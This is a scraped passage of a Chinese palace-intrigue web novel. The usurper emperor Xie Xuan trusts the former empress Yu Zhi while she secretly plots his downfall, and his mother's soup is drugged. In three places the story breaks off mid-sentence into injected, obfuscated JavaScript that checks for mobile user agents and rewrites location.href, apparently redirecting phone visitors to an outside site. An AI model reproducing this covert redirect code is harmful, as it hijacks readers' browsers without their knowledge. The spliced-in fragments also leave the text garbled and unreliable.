虞枝咬了咬下唇,“快了。” 樱红的唇短暂地白了一瞬间,紧接着又被血色充盈,点点亮晶的水光莹润,看得谢玄心热。谢玄怜惜,轻轻抬起手去摩挲她的脸颊。 这些如在梦中的日子让他几乎要忘掉宫变那日的剑拔弩张,忘掉她的誓死不从,忘掉自己乱臣贼子的身份。 好像他生来就是这个王朝的帝王一般,一开始迎娶虞枝的人就该是他。 “封后大典就准备在半个月后,与我的登基大典一起。”他突然提起。 虞枝笑容一僵,“会不会……太快了些?”她试探。 谢玄却摇头,笑容如沐春风,“若不是顾虑着你之前为前朝伤感,我本该在宫变之后就即刻册封你。”让你我名正言顺地并肩。 谢玄没说完,但他以为虞枝应该懂了他心底所想。 “手怎么还是这么冷?”谢玄把虞枝的双手拢在一起虚握在自己掌心。似又觉得不够,干脆将虞枝单薄的身体继而拉进怀中,让冰冷的手贴在他炙热的胸膛。 隔着血肉,虞枝好像攥住了他的心跳。 虞枝想逃走,却被谢玄箍紧。 长臂环腰而拥,一手安静地落在腰间,一手竖贴着脊背,轻轻画圈揉搓抚摸,感受着薄薄一层皮肤下的脊骨嶙峋。 虞枝就被谢玄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040485|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱在怀里,立在他坐叉开的长腿之间。 “可是谢玄,”她想拉回谢玄的理智,她尽力把注意力转移到桌上的布防图中,尽量用一种温柔的音调道:“我怕是这辈子都不会有孩子了。” “太医院的国手定有他们的厉害……” “若是他们也医不好呢?”虞枝着急地打断。 谢玄沉吟片刻,不甚在意道:“你娘家兄弟姐妹子孙运还算旺盛,挑一个合你眼缘的抱过来养也不错。”谢玄当真在认真思考,因为现在他是真的有皇位要继承。但是他已经答应过虞枝,只娶她一个女人,她不能生便只好从旁支过继个来。 谢家于他来说犹如仇敌,何况他算是害得谢将军被囚的始作俑者,是不能选的。而纪芙的孩子他又不甚喜欢,如此看来就只剩下虞家一脉。 虞家代代贤臣,想必子孙后代不会差的。只看他的小虞便知道了。 谢玄没在这个问题上纠结太久,归根结底,他还是想有个和虞枝的亲生骨肉来继承皇位。但愿上天降恩,满足他的心愿。 收回手的前一刻,谢玄眷恋地在虞枝平坦的小腹停留片刻。 或许未来,这里会有一个连接他们血脉的孩子。 谢玄控制不住笑意,朝着虞枝温柔道:“先让胡伽送你回去,夜里也不必等我,待我批完了折子就去看你。” 虞枝愣愣地点点头,小腹上的余温似乎还没有消融。 临走,她扶着紫宸殿檀木门框,微微侧目回头看谢玄,发上的水晶凤钗含珠轻晃,在烛火下折射出五光十色的炫彩。她发现谢玄心有灵犀或是根本就没从她身上错开目光,也在瞧她。 谢玄略歪头,轻轻对她用嘴型道: 恭送娘娘。 多年后被困在凤宁宫的虞枝也许还会想起这夜的一切,想起谢玄含笑的眼与孩子气的行为。 可惜天意波折。 夜里,虞枝睡得一直不安稳,甚至到谢玄轻轻地掀开一角锦被躺了进去她也没睡着。 寂静的长夜,她甚至听见谢玄清晰有规律的呼吸声。 慢慢的,她终于有了倦意,发出了无意识的嘤咛。 身旁人呼吸重了片刻,接着伸出手臂,轻轻拍打着她的后背。力道又缓又柔,像是要坠到云里似的。 虞枝陷入荒诞的梦境。 第二日,虞枝亲自下厨房,叫春桃备了面粉、糖霜、樱桃等做樱桃糖饼。她将樱桃和葡萄熬制成红色和紫色的果酱,在制好的樱桃糖饼上绘制了图案。 “胡泉,把这份送到紫宸殿。春桃,把这份送到库狄公主那里去,我记得她来的那天很喜欢吃中原的糕点和冰饮子。” “是。”胡泉和春桃双双答道。 虞枝点点头,正要离开,却恍然想起这几天都没见过玉英,心下有些担忧。便叫住正要出门的春桃,问她知不知道玉英的下落。 春桃正提起食盒,听了虞枝的问话小嘴一撇,不满道:“她除了每天早上打扫打扫宫殿就跑得没影了。啊——” “倒是奴婢昨天好像看到玉英从青佛殿出来,不知道她去那里做什么。” 19. 青佛殿 青佛殿本是前朝萧太后礼佛之地。 只是她并不是虔心修佛之人,而是借着佛口暗藏蛇心。当年她为了扶持武德帝登基,将自己亲侄女送入皇宫替自己固宠,之后又觉得侄女所生的皇子元铭锋芒太盛,便下毒药逼疯了自己的侄女,杀母夺子。干政十七年,机关算尽,最终被自己的孙子,也就是元临数罪并举,无奈用自缢来保全名声。 萧太后常年居住的青佛殿自然就成了不详之地,昔日人人快要踏破的门槛复归寂寥,无知的爬藤代替贪欲满怀的人们成为佛像下最虔诚的信徒。 虞枝小心地顺着一条青石板路行走,路侧长满青苔,两侧红墙上爬满青藤枝叶,一片绿色的天地尽头门扉轻掩。从狭窄的门缝依稀可见院内的别有洞天。 墙外夏花绚烂,在一片粉紫盛开的花墙外,一树开在绿叶间的朵朵白花清丽脱俗,立在清静的佛门圣地,仿佛沾染了浅淡的禅意。 虞枝一时没认出那时什么花。 “是白檀花。”门内声音淡淡,仿佛提前预知了她心中所想。 “谁在里面?”虞枝皱眉,不禁觉得奇怪。她原以为这地方早没有人守着了,所以才觉得玉英出入此地十分奇怪。 虞枝索性上前推开木门,‘吱呀’声带来视野的开阔,原来那名叫白檀的花是从墙内延伸出来的。嫩枝上,小小的白檀花骨朵簇拥在一起,聚成一朵朵硕大的云海般的细碎光景。旁边大朵些的曼陀罗花和白檀纠缠在一起,成了绚烂花海中独特的一团。 虞枝是不认识白檀的,但是她从古书上看到过有关曼陀罗花的记载,知道这东西和蒙汗药差不多,能致人晕眩。 灰布衣的和尚立在佛像前弯腰行礼,但姿态不卑不亢。 那身布衣已经被水洗得发硬泛白,衣角摩擦出毛躁碎线,似乎还沾着一点青苔,想来他刚刚清扫过院子。 “在下是受命在此处修行念经的和尚,法号弃兵。”他身量如一节高高的竹枝,纤瘦清清。 “弃兵?”虞枝暗自琢磨,觉得这法号太生奇怪。 也就是这瞬间,和尚才直起腰,虞枝看清了远山黛影的眉下琥珀琉璃般的眼睛。 风吹落花,白檀遮眼。 虞枝愣住,那双眼睛她似乎见过。可记忆就像扯着风筝的线,越用力越易断。 “寻常出家人的法号不过是静心、忘尘之流,为何你要——” 寂静的宫道,响起细碎的脚步声。应是凤宁宫的宫人发现她独自出门着急了,已经快要寻到此处。 和尚淡笑,“此名是前朝萧太后亲赐。她愿我洗去兵戈杀戾,弃昨日之我如昨日死,寻今日之我如今日生。我本来很厌恶这个法号,可是如今却释然了。” “为什么?”虞枝盯着他的眼睛,企图从中找到什么线索,续上自己断线的风筝。 “我厌恶她是因为我以为我的不幸是她造成的,可是后来,”弃兵语气一点都没变过,平稳依旧,可就是让人觉得他似乎叹了口气,“我发现自己命运的始作俑者从来都是自己,是我不肯放过我,与她无关。” 他看向虞枝,眼神里分明带着劝诫。 可是虞枝却移开了目光,错过了他眼里的悲悯和无奈。 “娘娘!”春桃的声音渐大,终是寻到了此处。 弃兵微微行礼,目送虞枝出去。 中原少见白檀花,宫廷中的这株白檀原产自天竺,原是萧太后为贺侄女萧紫虚产子之喜重金从一个天竺游僧手中换来的种子。 紫虚之子乃辉德帝幼子元铭,幼时被养在萧太后膝下。元洺当年在庭院中玩乐时,亲手将白檀花种子撒在了青佛殿的墙根底下,才有了今日的绚丽。 弃兵望着白檀,似是从虞枝身上看见了曾经偏执固执的自己。 也是,当年在长信殿重逢的那刻,他就该知道这孩子的命运须得是她自己撞得头破血流才能明白——只有自己最会折磨自己。而他能做的,只有在寒气侵人的长信殿为她燃一炉青碳。 弃兵叹气,拂去肩上的落花。 “娘娘怎去了这里?”春桃扶过虞枝的手臂,不安地看了寂静的青佛殿一眼。 萧太后曾自缢于此,之前有宫女路过此处,常听到啜泣和杯盏碎裂的声音,也不知是来自冷宫还是青佛殿。久而久之,这地方便没什么人来了。 “闲逛罢了。”虞枝有心想回头看一眼,却碍于春桃把她护得紧紧的,她若加大力气挣脱反倒显得刻意。“你把樱桃糖饼送过去了?”虞枝想起糖饼上的图案,心跳不免加速,连指尖也跟着不可抑制地颤抖起来。 “送去了,库狄公主很是喜欢,目光在糖饼上停留许久呢。” “她可说了什么?” “她不过是谢您。” “知道了。” 二人步回凤宁宫,一夜安宁。 这些日子虞家父子一直在距离凤宁宫不远的宫殿里养伤,恰好照顾着元澈。 虞枝回来别无他事,先去看了看父兄和母亲,顺带陪着元澈玩了一会。元澈向她求情,希望去陪贵妃住一晚。 虞枝看着元澈,直觉知道一切计划都已经提上了日程。即使是看起来天真的小儿,也明白此计的险恶,或许今夜便是元澈与苏贵妃的最后一面。 “春桃,守在外面吧。”她回了凤宁宫,让一众宫人守在殿外。 她作画时不习惯有人在侧。 若是她再不画完,兴许就没有机会送出了。 柔软的狼毫画笔蘸了水墨,虞枝扎起阔袖,素腕上移,从无瑕的白纸上画下浓墨重彩的一笔。 那夜月色和星光极好,夜风吹动澄明通彻的假山瀑布,扬起的水波纷纷撒在花草枝叶,为一切染上晶莹。 虞枝最后想了想,终于还是决定在已经画好了的丹青上填上了一个女人的身影。不是那天被谢玄拉住手腕,困在方寸之地的模样。而是远远地立在窗外,如水中月镜中花,只像一个影子,刹那间注视到了月下静谧的景色,也注意到室内微醺养神的男人。 最终她会离去。 她不知道谢玄接到这幅画之后会是什么样的反应,隐隐的她有些害怕,害怕看到谢玄欣喜若狂的样子,这让她觉得她的欺骗罪大恶极。 所以在命胡泉将画送过去之后,她便立刻沐浴就寝,逼自己进入梦乡,不再去想谢玄的反应。 紫宸殿,谢玄正在同兵部尚书与羽鸾卫几个负责京城防守的首领议事。 其中一个名叫魏晖的羽鸾卫首领向谢玄报告了一些异常的情况,他同东南西北四卫不同,他负责宫内安全。 “陛下,”魏晖抱拳道:“臣带人夜里巡查经过东胡公主下榻的宫殿时见窗内明灯数盏,经久不见熄灭,便上门求见。那公主见臣进门,大声呵斥臣的无礼,仓促间臣看到她藏起了什么,室内还有未散的味道,似是甜食的糖味和笔墨的墨香。”他抬眼看了眼不置一词的谢玄,略犹疑道:“臣打探到昨日,皇后娘娘……派人送了份樱桃糖饼去,臣思来想去觉得有些奇怪。” “那份糖饼,皇后也派人给朕送来了一份,是她亲手所制。”谢玄终于看向魏晖,手指不自觉地轻扣在桌案上,似是焦躁,但他还是选择维护道:“皇后替朕接待东胡使臣,没有功劳也有苦劳。胡伽,去库房把此次东胡使臣献来的蜜合香与织锦丝绸送去凤宁宫。” “是。”胡伽临走趁着谢玄垂头思索的空档,朝着魏晖摇了摇头。他知道魏晖的疑虑,跟着谢玄造反的人应该都无法信任一个前朝的皇后,但是谢玄态度如此,在没有实际证据前,或者是没有亲眼看到虞枝的背叛前,他大概一律不会相信别人的只言片语。 他提醒魏晖还是别去触霉头。 为此他只能在心里祈祷虞枝没有旁的心思。要是有迷魂药,他一定第一个偷偷给虞枝下了去,让她无论表面还是内里都一心一意跟着谢玄。 胡伽压下心里的忧虑,正碰上来送画的胡泉,看了胡泉捧着画匣笑嘻嘻的模样,他心里略觉安慰,但也不忘嘱咐他,要他待谢玄同大臣们议事完毕后再进去。 胡泉满口应是。 谢玄遣退了诸大臣,才抿起唇,从漆黑的瞳孔泄露出一丝阴鸷。其实虞枝这些日子的许多行为,细想都有疑点,若是深究……谢玄停了要走向深渊的思路,悬崖勒马。许是他自己也不敢再想。 正巧这时胡泉找准了时机,捧着画匣满目笑容地进来。 “奴才参见陛下。” “起来吧。”谢玄敛去心中阴暗的猜想,但桌案上扣动着的手指却迟迟没有停下。 细小的声音在殿内回荡,很快被人声遮了去。 “奴才奉皇后娘娘的命,前来送画。”胡泉上前,弯腰低头献上匣子。 霎时间乌云散去,谢玄慢慢停了手指的动作,语气也轻松起来,“她怎么不亲自过来?”谢玄分明已经满意至极,但因为在最近的日子中觉得似乎受到了虞枝的偏爱,便得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢玄拿起羹匙在碗中轻滑动几下,最终是敌不过纪芙的目光,尝了几口。尽管他心中积压着担忧,连带着食欲全无,这甜腻之汤只能让他的不适加重几分。 “嗯。”他放下汤匙,压下几欲作呕的晕眩感。 “那明日玄儿定要早起,我到时候亲自下厨给你做了汤羹饭食送来。” 谢玄皱眉,本想拒绝,但目光在触及到纪芙期待的眼神后,生生把‘不必’两个字咽下去。 他的饮食全部由御膳房打理,纪芙原本是不必亲自动手的。只不过若是她想用此来展现她的母爱与愧疚,拉近她和谢玄的关系,谢玄无意拒绝。只怕这其中有其他的……谢玄瞥了一眼孙恒盯着他手中甜汤的眼神,不动声色地收回目光。 如果是那样,那他的母亲未免太心急了。 “朕令孙明诚接任了他祖父兵部侍郎的位置。”谢玄对孙恒露出了和善的微笑,只是笑容浮于表面。 小孩子情感敏锐,他下意识地害怕,缩到了纪芙身后,环住纪芙的腰。 “玄儿还是爱屋及乌,念着母亲的。”纪芙安抚地抱住孙恒。 “自然。”谢玄神色未变,语调轻缓道:“明日送东胡使臣出城时,便由孙明诚这个兵部侍郎调兵守在朕身边以防东胡作乱。到时便让恒儿与朕同乘一车,正好让天下人看看朕的弟弟。” “皇上!”纪芙忽地急促,“东胡贼子野心,明日情况恐怕会有变动,恒儿年纪还这么小,恐怕只会添乱!” “无妨。”谢玄微笑着摇头,目光分明是不容拒绝,“有恒儿的父亲在外为朕保驾护航,朕很是放心。难道母亲不放心恒儿父亲的能力吗?”他幽幽看向纪芙。 纪芙张着嘴,却不知说什么,临了她还想再辩解,却被谢玄命人带了下去。 看着纪芙不情不愿离开的身影,谢玄的笑容淡了下来。 “胡伽。”谢玄出声,“传太医院院判前往凤宁宫给皇后娘娘诊平安脉。” “可是娘娘已经睡下了。”胡伽一开始没明白谢玄的意思,直到看见谢玄盯着桌案上那碗只动了几口的甜汤才反应过来。 “奴才这就去办。” 外边阴云密布,或许暴雨将至。夏时的雨总是那么令人猝不及防,带着毁天灭地的阴云和骤风。 或许明天的雨可以洗刷掉很多人的面具,露出她们本来的面目。 20. 城楼 “回禀陛下,只是普通的甜汤。”院判在仔细检查后做出判断。 谢玄坐在外间,角度刚好能看见重重帘帐下娇小的身影。 他点点头,“明日一早你再来给皇后请平安脉。”他略有深意。 在太医院熬了这么多年,院判早成了人精,忙答道:“娘娘凤体不宁,微臣身为院判也甚是不安,定当尽心。” 谢玄满意地点了点头,“下去吧。” 待其他闲杂人等一一从殿内退去,谢玄径直朝着床榻走去。 他不知道,虞枝从他踏进殿内的一刻起就醒了过来。 她睡得很浅,没过一会就要醒来,然后独自在床上回忆着光怪陆离的梦境。 有的是她走出了皇宫,在广阔无垠的地方展臂大笑,她从没有在现实里那样笑过,因为不合规矩。然后过不了多久,她就会发现谢玄不知怎么地寻了来,他总是立在一片阴沉的暗影中,看不清神色,可是虞枝能感觉到他阴森的目光流连在她身上。 他一步步朝着她走来,步子不紧不慢,可是无论她怎么拼命地跑,终究都是徒劳,他们之间的距离越来越近。 他说他要造一座金屋把她关在里面,不许她见别人,更不许别人看她。 华丽的笼子里很大,摆满了耀眼的珠宝和金银,闪得虞枝睁不开眼。东西越堆越多,快要堆到她的胸口。她无法呼吸,用尽全力想要挣脱,却总是在马上要逃出去的时候被一股不容拒绝的力量拉回来。那声音拉着她的脚踝,温度要把她融化。 然后她听到谢玄的声音。 他问她喜欢这座他亲手为她铸造的牢笼吗? 虞枝拼命摇头。 谢玄却笑得开怀,他说这是报复,对虞枝背叛的报复。 梦里的虞枝头脑不清醒,永远想不明白自己背叛他什么了。只是想哭,悲伤无法抑制,从心口喷涌,豆大的眼泪像是不断线的珠子。她嘶吼着让谢玄放过她,得到的只有谢玄的冷漠和嗤笑。 他说,“娘娘,是您先背叛我,活该您陪我下地狱。” 转瞬,虞枝跌入无边的黑暗,失重攥紧她的心脏。 醒来,她被拢入一个温暖的怀抱,暂时驱散了寒冷。可惜,这温暖恰恰是梦中置她于死地的阴影。 “谢玄?”虞枝声音还带着干哑和散不去的颤抖。她怕谢玄究根问底,怕他忽然掰过她的身子问会不会背叛她。 “是我。”谢玄抱住虞枝,察觉到她的轻颤,“做噩梦了?”他疑惑,手掌摸索着握住她颤抖的双手。 一只手掌就足够覆盖。 “是。”虞枝顺着他的话继续说,“我梦到你要拉我下地狱。”她直言。 谢玄安抚她的动作明显一顿,继而轻笑,“那一定是娘娘做了什么对不起我的事。”他手掌力度加紧。 黑暗里,连对方的心跳都听得清清楚楚。 虞枝清晰地感受到粗粝的茧子在她柔嫩的手掌皮肤上箍紧,高大修长的身躯蹲伏在床榻边,似乎要将外面的光遮住了,快要密不透风。像是梦中堆满珠宝的金屋,侵占了她呼吸的空间。 “娘娘,答应我一件事。”谢玄忽地将脸埋进虞枝颈间,依恋地蹭了蹭她滑腻如丝绸的皮肤。 那截在如瀑墨发和藕粉色寝衣泄露出的白颈,像是从杯盏中倾倒出的热腾腾牛乳,直诱人精魄。 虞枝能感觉到谢玄呼吸的温热。 虞枝不适,身体因痒而瑟缩了下,惹得身后坏心眼的人轻笑。 “什么?” 虞枝闭上眼睛。 “明日我离宫,你替我守在这里。我会将掌管羽鸾卫的令牌交给你。” 谢玄说话声音不重,却把虞枝砸在原地。 这简直是亲自把脆弱的脖颈洗干净送到她面前,她只要用刀轻轻一割,鲜血就会喷涌溅出。 此时依偎在她颈间的谢玄好像一只初生的幼兽,还不知道她早已在背后准备好了尖刀。或许只有这把锋利致命的刀穿进他的胸膛,他在痛的指引下才会明白他今晚的愚蠢。 虞枝心里又慌又惊,喜悦和痛楚撕扯着本就脆弱不堪的心脏。她甚至觉得她的身体在极度兴奋的情况下撑不过今夜。 见虞枝久久不回话,谢玄继续道:“娘娘说过这皇宫有一半属于你,守卫自己的家园,娘娘应该不会拒绝吧?”谢玄手掌向上,握住虞枝细腻小巧的下颌,慢慢揉搓。 “好。”虞枝不能拒绝。这简直是为明天的本只有两成把握的造反增添了三成的筹码。如此,当真是胜负难定了。 这是谢玄亲手造成的局面。 虞枝忽地想笑,她渐渐想明白了梦中谢玄的暴怒和阴鸷。她辜负了他的信任,用他一手培养的羽鸾卫来击破他最后一丝希望。若是成功,他的蛰伏和心血将转瞬灰飞烟灭。 “等此事了结就举行封后大典,到时候我就可以昭告天下,你是我的皇后。” 这是谢玄期待了太久的事情。 虞枝终于是受不了谢玄的亲昵,推开他拥在胸前的手臂,解放了两只可爱可怜的白兔。 若不是谢玄在,她定要解开衣衫看看自己胸前是不是红痕一片。 这人实在太过用力,仿佛今夜过了就没有明天似的…… 虞枝思维顿住,他们确实没有明天。 谢玄愣愣地看着她,眼神还有些委屈。 明明他还什么都没做呢。 谢玄只觉得前路漫漫。 “夜里太闷了。”虞枝找借口,不过也确实是胸口闷得慌。 外边天空阴沉,一丝月色也无,幽暗的烛火只能照亮脚下的一小片,似是陷入迷蒙的梦境。 要下雨了,空气中水汽格外得重,格外得闷。 “我想出去走走。”室内烛火让虞枝的表情逃不过谢玄的眼睛,她迫切想隐进黑暗。“陪我提灯闲逛一会吧,说来我还从没有亲自用脚丈量过这座皇宫。”她是皇后,可除了重大节日和宫宴,连后宫这个地界都极少踏出,更遑论宽阔宏大的议政殿以及朝会的启天殿。 她是名义上皇城的半个主人,可实际上却连这座亭台楼阁无边无尽的皇宫四分之一都没亲眼瞧见过。 她突然想去看看。踏上那只有皇帝春祭时才能踏上的城墙,站在那样高的地方俯瞰京城。 或许这是她最后的自由。 谢玄不解,但仍是命人找来了一盏非常漂亮的水晶灯,据说是当时从元临求仙问道的摘星楼里收入库房的。 四角水晶琉璃折射烛火微光,照亮前路。 尾巴似的宫女太监远远地跟在后面,谢玄亲自一手提了灯,一手握着虞枝,刻意放缓了脚步。 到了开阔的地方,空气被微凉的夜风搅动,清新的空气一下子把心底的沉闷吹远。 虞枝感受着衣裙的翻飞,好像失去了所有束缚一样。前方视线本该开阔十分,却因为不见光亮而陷入漆黑,只有当她的脚步向前一点,琉璃灯跟随前进,才能看清脚下的是平地还是台阶。 从宫变至今,她第一次放空了自己。 “走上台阶,就是春祭的城楼了。”谢玄替虞枝拉紧披风。 虞枝听到谢玄的声音,直直地去看前面,脚步也急切几分。 风变大了,远处隐隐有闷雷的声音。 虞枝终于站到了宫墙的最高处,虽然向外看去朦朦胧胧一片漆黑,只有零星的灯火像落入人间的星辰静闪。偌大的皇城在她眼底浮现,这世上繁华无比的王朝国都在她脚下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15040487|162500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉睡。 “那里……是将军府?”虞枝手指了指。 “嗯。”谢玄声音低沉,似乎并不愿去看。 “那是我家!”虞枝声音兴奋了些,呼吸也跟着有力。她第一次以这种角度去看这个世界,好像原来并不只有一条路可以找到家,如同这个世界并不是非黑即白。“照这样说,东边的那个……也许是姐姐和姐夫的家。”那边太远了,她只能凭感觉去寻找,也许找得并不准确,却并不影响她的热情。 “你看那里。”谢玄低下头,他一点也看不清虞枝的表情,但是他从对方的声音判断出她的新奇,于是指引道:“那座巨大的阴影。” “是百慧山?”虞枝凭借着方位辨析。 “对,山上有一座灵觉寺。” “你在寺里救了我,谢小将军。”她语气郑重,尤其是‘谢小将军’这四个字,带着一种难以言说的缓慢清晰。 若说虞枝从没有对意气风发的谢小将军动心过是不可能的。但是人与畜生的差别就在于克制,人为了更高的信念可以克制住错误的情感。所以如果没有谢玄的宫变,在岁月的沉淀下,她对谢小将军朦胧的倾慕也许会转变成敬仰,让他最后变成遥远而不可触碰到一块留在心底。 但谢玄的爱恨强烈,有就是有,拼命压制的结果就是如火山爆发,最终会演变成更加不可收拾的结局。 虞枝忽然由喜转悲,她尽全力用平静的声音道:“谢小将军。” “……”这时,谢玄嗓子像是被什么糊住了一样,说不出话来。 有风夹杂着细细的雨丝斜拍在脸上,手上……白雨映孤城。 “若是你早认识我几年就好了。”没有一纸婚约,没有元临的舍命相救,没有中间的流言蜚语、阴差阳错,百慧山上灵觉寺,会是极好的相逢。 金风玉露,胜却人间无数。 “可是现在也不迟!”谢玄听完了虞枝的话,忽略掉那声‘谢小将军’带来的痛意,慢慢顺着城墙坐到地上,一腿曲起,坐姿不羁,像是在战场上厮杀得筋疲力尽后的模样。“娘娘,现在也不迟。”他重复,像是在安慰自己。 “过了明天,一切就安稳下来了,然后我们大婚,行册封礼。”谢玄忍不住轻笑。 “春天我们一起酿甜酒,夏天一起赏荷花,秋天去燕亭山行猎,冬天在汤泉修身……” “也许等到那时候,”谢玄换了个更加放松的姿势,活动了下四肢,“我们已经有了自己的孩子,他一降生,我就要立他为太子。” “要是女儿呢?”这一夜快要过去了,像短暂的梦境。所以虞枝陪着他畅想,甚至亲自发问。 “那就封她为皇太女!”谢玄一拍大腿,“反正无论是前朝还是前前朝,女人干政的也不少,她们未必治理不好国家。再说,你和我的女儿必定是文武双全,我倒是怕这世上没人能配得上她。”谢玄越说越远。 这话实在飘渺又荒诞,逗得虞枝噗嗤一声笑出来。其实她不想笑的,但是身体就是如此诚实,她听了谢玄不着边际的话,忍不住笑出来。 畅快的声音顺着风声飘到好远的地方。 谢玄也跟着笑,手中的琉璃灯晃啊晃,闪烁在冰凉的雨丝中。 他站起身,把虞枝护在怀里,隔绝了愈大的雨滴。 他的声音混合着隆隆的雷声响在虞枝耳边,“小虞,我很开心!开心你能放下,真的,天底下再没有比我还幸福的人了。”谢玄的笑声响起,像是湖中央荡漾开来的涟漪,渐渐扩大,弥久不散。谢玄终于扫来心底的阴霾,开怀而笑。 虞枝也在他怀里轻笑,风雨雷电俱是在笑。只是她眼角水润,分明是神伤。 巨闪划过天边,照亮天际,一场暴雨落下。 21. 背叛 侍卫们早已经侯在了城门口整装待发。谢玄穿戴整齐,利落地整理好文武袖,在确认胸前的护心镜完好无损后缓步踏出寝殿。 他本不该是这身装扮,他应该穿着繁复的礼服,跟个吉祥物一样端坐在马车里。但谢玄不是按常理出牌的人,他亲送东胡使臣出城,态度已经明确,该有的装备警惕他一个也不会少。 “陛下,院判来给皇后娘娘请平安脉了。”胡伽上前,手中端着纪芙送来的汤羹。 纪芙被胡伽拦在了寝殿外。 谢玄盯着那碗汤羹,“传他进来。” 昨夜暴雨,今宵未停。 院判对谢玄摇了摇头,谢玄愣神片刻,然后命胡伽倒掉了汤羹。 里面倒不是什么致命的毒药,只是一些剂量适中,能使人在半路晕倒的蒙汗药,这东西银针测不出来。 谢玄回忆着院判的话,路过纪芙身侧时他轻笑:“母亲亲手熬制的汤羹果然美味。” “……”纪芙瞳孔轻颤,“玄儿若喜欢,我以后天天给你做。”她藏起因兴奋和不安而颤抖的手。 谢玄笑了笑,“胡伽,送母亲回静心阁休息。”临了他又补充,“今日人多事杂,切勿让不相干的人打扰了母亲。” “是。”胡伽心领神会,招呼了一群宫人簇拥起纪芙。 纪芙想要同谢玄说情,让她再见见孙恒,只是不等说完话就被宫人推拉着走远。 谢玄看着纪芙消失在视线里才沉下了嘴角,一张脸平静无波,可仔细看分明是动怒的前兆。 “陛下,皇后娘娘醒了。”胡伽小声提醒。 虞枝已经从寝殿出来,匆匆地披了件外衣小跑到谢玄身侧,气喘吁吁道:“怎么不叫我?”她咬紧下唇。 昨夜吹了太久的风,她一时沉睡,没想到竟差点错过谢玄出宫。 谢玄脸色柔和下来,抬手将虞枝鬓角散落的碎发别到她耳后,“娘娘就这么舍不得我?”他刻意温存,想要扫去隐隐清晰了的、被背叛的事实。 虞枝垂下眼眸。 是,若是错过了今早,兴许他们就真的要阴阳两隔了。 虞枝上下牙齿打颤,“现在就要走了吗?” “是,耽误不得。还请娘娘替我守好皇宫。”他捏捏虞枝白净的小脸,嘱咐道:“有事就去找魏晖,他是宫中羽鸾卫统领。你有令牌在手,他不敢不听你的调令。届时我在城外若有不测便会以烟花为号,羽鸾卫看到烟花便会前往支援。” “好。”虞枝并不知道此次牵扯其中的到底有多少势力,只知道箭在弦上不得不发,“外边雨大,喝盏热茶再走吧。”虞枝叫人端来茶点。 来者是玉英。 宫里的吃食一般都有银针验毒,谢玄不疑有他,一饮而尽。 虞枝陪着他吃了几口点心,然后看谢玄提剑离去。 待半个时辰后,虞枝拿出令牌。 “胡泉,传我的命令给羽鸾卫统领魏晖,陛下命其秘密前往城南同石将军的军队汇合,不得延误。” 胡泉一愣,不明白为什么谢玄人在城北送行,却要把羽鸾卫调往南辕北辙的城南。但令牌在此,胡泉不敢质疑,魏晖也不敢不从,带着自己所率领的羽鸾卫一行人朝城南行去。 此时去往城北的路上,负责北边防守的羽鸾卫统领向进谨慎地护在骑着高头大马的谢玄身侧。而谢玄的目光则紧盯着与自己并肩而行的东胡使者卑路斯的车马。 这一路来太顺利太平静了,让谢玄反而在心底升起不安,恰这时他身下的马匹忽然停下脚步,摇着头不肯再前进,发出焦躁的声音。谢玄用力拉紧缰绳,控制住这平日乖顺的千里马。 他身后的马车坐着孙恒,孙明诚就带着人马跟在马车后边。孙明诚注意到异动,驱马上前几步,期间路过孙恒,他对着这个儿子多看了几眼。一会生乱,他必定是顾不上这个儿子的,兴许现在就是最后一面。 对此纪芙是不知道的,她以为孙明诚一定会用生命来保护自己的儿子。但对于孙明诚来说,儿子可以有很多个,但是天降的夺位机会可只有这一个。 他阴冷的目光看向谢玄,察觉到谢玄的身形似乎轻晃了下,而后极力克稳住。 他心下一喜,以为纪芙的甜汤起了作用。 他早就同东胡使臣暗中勾结,知道他们手中有一份京城布防图。他们早已经按照布防图派出死士突击,逐个击破,以有意算无意,胜算极大。而他只需要在谢玄药劲发作之后挟持住他,逼他立纪芙为太后,之后再杀了谢玄,扶自己的儿子上位。 东胡要的是除去谢玄这个难搞的皇帝,孙明诚要的是皇室身份的确认。二者一拍即合。 至于库狄舒和虞枝的交易? 库狄舒看着面色苍白的谢玄暗笑,她自认为一手玩弄了中原王朝的帝后。她才不关心元氏能不能兴复,只要新的继承者肯继续同她互利互惠就好。 “谢玄。”库狄舒突然掀开帘子,笑得灿烂极了,“你这时有没有后悔?后悔没和本公主联姻?”她目光上下扫视了一遍细腰长腿的谢玄,不禁咽了咽口水,遗憾对方命不久矣。 “公主说这话怕是为时尚早。”谢玄指甲嵌进皮肉,逼自己清醒过来。现在一切本该都在他掌控之中——纪芙的背叛、孙明诚的投敌、东胡死士的行动……前两者他已经提前预判,避开下了药的甜汤,后者他已把京城布防图交给石留青,让他派人镇守。 只是这通体的眩晕感是从何而来? 鲜血顺着手掌流淌进谢玄的衣袖,他驱马后退,退回向进所带领的羽鸾卫中。 